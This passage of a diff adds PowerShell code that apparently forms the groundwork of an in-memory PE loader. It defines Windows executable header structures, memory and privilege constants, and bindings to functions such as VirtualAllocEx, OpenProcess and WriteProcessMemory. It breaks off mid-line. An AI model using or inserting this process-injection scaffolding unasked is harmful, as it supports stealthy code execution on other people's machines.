[UInt32], 'Public')).SetOffset(16) | Out-Null + ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null + ($TypeBuilder.DefineField('ImageBase', [UInt64], 'Public')).SetOffset(24) | Out-Null + ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null + ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null + ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null + ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null + ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null + ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null + ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null + ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null + ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null + ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null + ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null + ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null + ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null + ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt64], 'Public')).SetOffset(72) | Out-Null + ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt64], 'Public')).SetOffset(80) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt64], 'Public')).SetOffset(88) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt64], 'Public')).SetOffset(96) | Out-Null + ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(104) | Out-Null + ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(108) | Out-Null + ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null + ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null + ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null + ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null + ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null + ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null + ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null + ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null + ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null + ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null + ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null + ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null + ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null + ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null + ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(224) | Out-Null + ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(232) | Out-Null + $IMAGE_OPTIONAL_HEADER64 = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER64 -Value $IMAGE_OPTIONAL_HEADER64 + + #Struct IMAGE_OPTIONAL_HEADER32 + $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER32', $Attributes, [System.ValueType], 224) + ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null + ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null + ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null + ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null + ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null + ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null + ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null + ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null + ($TypeBuilder.DefineField('BaseOfData', [UInt32], 'Public')).SetOffset(24) | Out-Null + ($TypeBuilder.DefineField('ImageBase', [UInt32], 'Public')).SetOffset(28) | Out-Null + ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null + ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null + ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null + ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null + ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null + ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null + ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null + ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null + ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null + ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null + ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null + ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null + ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null + ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt32], 'Public')).SetOffset(72) | Out-Null + ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt32], 'Public')).SetOffset(76) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt32], 'Public')).SetOffset(80) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt32], 'Public')).SetOffset(84) | Out-Null + ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(88) | Out-Null + ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(92) | Out-Null + ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(96) | Out-Null + ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(104) | Out-Null + ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null + ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null + ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null + ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null + ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null + ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null + ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null + ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null + ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null + ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null + ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null + ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null + ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null + ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null + $IMAGE_OPTIONAL_HEADER32 = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER32 -Value $IMAGE_OPTIONAL_HEADER32 + + #Struct IMAGE_NT_HEADERS64 + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS64', $Attributes, [System.ValueType], 264) + $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null + $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER64, 'Public') | Out-Null + $IMAGE_NT_HEADERS64 = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS64 -Value $IMAGE_NT_HEADERS64 + + #Struct IMAGE_NT_HEADERS32 + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS32', $Attributes, [System.ValueType], 248) + $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null + $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER32, 'Public') | Out-Null + $IMAGE_NT_HEADERS32 = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS32 -Value $IMAGE_NT_HEADERS32 + + #Struct IMAGE_DOS_HEADER + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DOS_HEADER', $Attributes, [System.ValueType], 64) + $TypeBuilder.DefineField('e_magic', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_cblp', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_cp', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_crlc', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_cparhdr', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_minalloc', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_maxalloc', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_ss', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_sp', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_csum', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_ip', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_cs', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_lfarlc', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_ovno', [UInt16], 'Public') | Out-Null + + $e_resField = $TypeBuilder.DefineField('e_res', [UInt16[]], 'Public, HasFieldMarshal') + $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray + $FieldArray = @([System.Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst')) + $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 4)) + $e_resField.SetCustomAttribute($AttribBuilder) + + $TypeBuilder.DefineField('e_oemid', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_oeminfo', [UInt16], 'Public') | Out-Null + + $e_res2Field = $TypeBuilder.DefineField('e_res2', [UInt16[]], 'Public, HasFieldMarshal') + $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray + $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 10)) + $e_res2Field.SetCustomAttribute($AttribBuilder) + + $TypeBuilder.DefineField('e_lfanew', [Int32], 'Public') | Out-Null + $IMAGE_DOS_HEADER = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DOS_HEADER -Value $IMAGE_DOS_HEADER + + #Struct IMAGE_SECTION_HEADER + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_SECTION_HEADER', $Attributes, [System.ValueType], 40) + + $nameField = $TypeBuilder.DefineField('Name', [Char[]], 'Public, HasFieldMarshal') + $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray + $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 8)) + $nameField.SetCustomAttribute($AttribBuilder) + + $TypeBuilder.DefineField('VirtualSize', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('SizeOfRawData', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('PointerToRawData', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('PointerToRelocations', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('PointerToLinenumbers', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfRelocations', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfLinenumbers', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null + $IMAGE_SECTION_HEADER = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_SECTION_HEADER -Value $IMAGE_SECTION_HEADER + + #Struct IMAGE_BASE_RELOCATION + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_BASE_RELOCATION', $Attributes, [System.ValueType], 8) + $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('SizeOfBlock', [UInt32], 'Public') | Out-Null + $IMAGE_BASE_RELOCATION = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_BASE_RELOCATION -Value $IMAGE_BASE_RELOCATION + + #Struct IMAGE_IMPORT_DESCRIPTOR + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_IMPORT_DESCRIPTOR', $Attributes, [System.ValueType], 20) + $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('ForwarderChain', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('FirstThunk', [UInt32], 'Public') | Out-Null + $IMAGE_IMPORT_DESCRIPTOR = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_IMPORT_DESCRIPTOR -Value $IMAGE_IMPORT_DESCRIPTOR + + #Struct IMAGE_EXPORT_DIRECTORY + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_EXPORT_DIRECTORY', $Attributes, [System.ValueType], 40) + $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('MajorVersion', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('MinorVersion', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('Base', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfFunctions', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfNames', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('AddressOfFunctions', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('AddressOfNames', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('AddressOfNameOrdinals', [UInt32], 'Public') | Out-Null + $IMAGE_EXPORT_DIRECTORY = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_EXPORT_DIRECTORY -Value $IMAGE_EXPORT_DIRECTORY + + #Struct LUID + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('LUID', $Attributes, [System.ValueType], 8) + $TypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('HighPart', [UInt32], 'Public') | Out-Null + $LUID = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name LUID -Value $LUID + + #Struct LUID_AND_ATTRIBUTES + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('LUID_AND_ATTRIBUTES', $Attributes, [System.ValueType], 12) + $TypeBuilder.DefineField('Luid', $LUID, 'Public') | Out-Null + $TypeBuilder.DefineField('Attributes', [UInt32], 'Public') | Out-Null + $LUID_AND_ATTRIBUTES = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name LUID_AND_ATTRIBUTES -Value $LUID_AND_ATTRIBUTES + + #Struct TOKEN_PRIVILEGES + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('TOKEN_PRIVILEGES', $Attributes, [System.ValueType], 16) + $TypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('Privileges', $LUID_AND_ATTRIBUTES, 'Public') | Out-Null + $TOKEN_PRIVILEGES = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name TOKEN_PRIVILEGES -Value $TOKEN_PRIVILEGES + + return $Win32Types + } + + Function Get-Win32Constants + { + $Win32Constants = New-Object System.Object + + $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_COMMIT -Value 0x00001000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RESERVE -Value 0x00002000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOACCESS -Value 0x01 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READONLY -Value 0x02 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READWRITE -Value 0x04 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_WRITECOPY -Value 0x08 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE -Value 0x10 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READ -Value 0x20 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READWRITE -Value 0x40 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_WRITECOPY -Value 0x80 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOCACHE -Value 0x200 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_ABSOLUTE -Value 0 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_HIGHLOW -Value 3 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_DIR64 -Value 10 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_DISCARDABLE -Value 0x02000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_EXECUTE -Value 0x20000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_READ -Value 0x40000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_WRITE -Value 0x80000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_NOT_CACHED -Value 0x04000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_DECOMMIT -Value 0x4000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_EXECUTABLE_IMAGE -Value 0x0002 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_DLL -Value 0x2000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE -Value 0x40 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_NX_COMPAT -Value 0x100 + $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RELEASE -Value 0x8000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_QUERY -Value 0x0008 + $Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_ADJUST_PRIVILEGES -Value 0x0020 + $Win32Constants | Add-Member -MemberType NoteProperty -Name SE_PRIVILEGE_ENABLED -Value 0x2 + $Win32Constants | Add-Member -MemberType NoteProperty -Name ERROR_NO_TOKEN -Value 0x3f0 + + return $Win32Constants + } + + Function Get-Win32Functions + { + $Win32Functions = New-Object System.Object + + $VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc + $VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr]) + $VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualAlloc -Value $VirtualAlloc + + $VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx + $VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr]) + $VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualAllocEx -Value $VirtualAllocEx + + $memcpyAddr = Get-ProcAddress msvcrt.dll memcpy + $memcpyDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr]) ([IntPtr]) + $memcpy = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memcpyAddr, $memcpyDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name memcpy -Value $memcpy + + $memsetAddr = Get-ProcAddress msvcrt.dll memset + $memsetDelegate = Get-DelegateType @([IntPtr], [Int32], [IntPtr]) ([IntPtr]) + $memset = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memsetAddr, $memsetDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name memset -Value $memset + + $LoadLibraryAddr = Get-ProcAddress kernel32.dll LoadLibraryA + $LoadLibraryDelegate = Get-DelegateType @([String]) ([IntPtr]) + $LoadLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LoadLibraryAddr, $LoadLibraryDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name LoadLibrary -Value $LoadLibrary + + $GetProcAddressAddr = Get-ProcAddress kernel32.dll GetProcAddress + $GetProcAddressDelegate = Get-DelegateType @([IntPtr], [String]) ([IntPtr]) + $GetProcAddress = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressAddr, $GetProcAddressDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddress -Value $GetProcAddress + + $GetProcAddressOrdinalAddr = Get-ProcAddress kernel32.dll GetProcAddress + $GetProcAddressOrdinalDelegate = Get-DelegateType @([IntPtr], [IntPtr]) ([IntPtr]) + $GetProcAddressOrdinal = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressOrdinalAddr, $GetProcAddressOrdinalDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddressOrdinal -Value $GetProcAddressOrdinal + + $VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree + $VirtualFreeDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32]) ([Bool]) + $VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualFree -Value $VirtualFree + + $VirtualFreeExAddr = Get-ProcAddress kernel32.dll VirtualFreeEx + $VirtualFreeExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32]) ([Bool]) + $VirtualFreeEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeExAddr, $VirtualFreeExDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualFreeEx -Value $VirtualFreeEx + + $VirtualProtectAddr = Get-ProcAddress kernel32.dll VirtualProtect + $VirtualProtectDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool]) + $VirtualProtect = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectAddr, $VirtualProtectDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualProtect -Value $VirtualProtect + + $GetModuleHandleAddr = Get-ProcAddress kernel32.dll GetModuleHandleA + $GetModuleHandleDelegate = Get-DelegateType @([String]) ([IntPtr]) + $GetModuleHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetModuleHandleAddr, $GetModuleHandleDelegate) + $Win32Functions | Add-Member NoteProperty -Name GetModuleHandle -Value $GetModuleHandle + + $FreeLibraryAddr = Get-ProcAddress kernel32.dll FreeLibrary + $FreeLibraryDelegate = Get-DelegateType @([Bool]) ([IntPtr]) + $FreeLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FreeLibraryAddr, $FreeLibraryDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name FreeLibrary -Value $FreeLibrary + + $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess + $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr]) + $OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name OpenProcess -Value $OpenProcess + + $WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject + $WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [UInt32]) ([UInt32]) + $WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name WaitForSingleObject -Value $WaitForSingleObject + + $WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory + $WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool]) + $WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name WriteProcessMemory -Value $WriteProcessMemory + + $ReadProcessMemoryAddr = Get-ProcAddress kernel32.dll ReadProcessMemory + $ReadProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool]) + $ReadProcessMemory = 